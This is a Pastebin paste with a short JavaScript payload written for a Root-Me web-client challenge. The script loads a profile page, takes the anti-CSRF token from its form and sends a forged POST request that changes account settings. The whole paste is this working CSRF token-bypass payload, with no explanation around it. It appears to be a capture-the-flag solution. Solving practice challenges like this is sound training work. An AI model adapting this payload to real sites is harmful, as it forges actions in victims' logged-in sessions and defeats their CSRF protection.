Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var url = 'http://challenge01.root-me.org/web-client/ch23/index.php?action=profile';
- var xmlhttp1 = new XMLHttpRequest();
- xmlhttp1.onload = function () {
- if (this.status == 200) {
- var mon_xml = this.responseXML;
- var token = mon_xml.forms[0].elements.token.value;
- var post_data = 'username=tntn&status=on&token=' + token;
- var xmlhttp2 = new XMLHttpRequest();
- xmlhttp2.open("POST", url);
- xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xmlhttp2.send(post_data);
- }
- }
- xmlhttp1.open("GET", url);
- xmlhttp1.responseType = "document";
- xmlhttp1.send();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement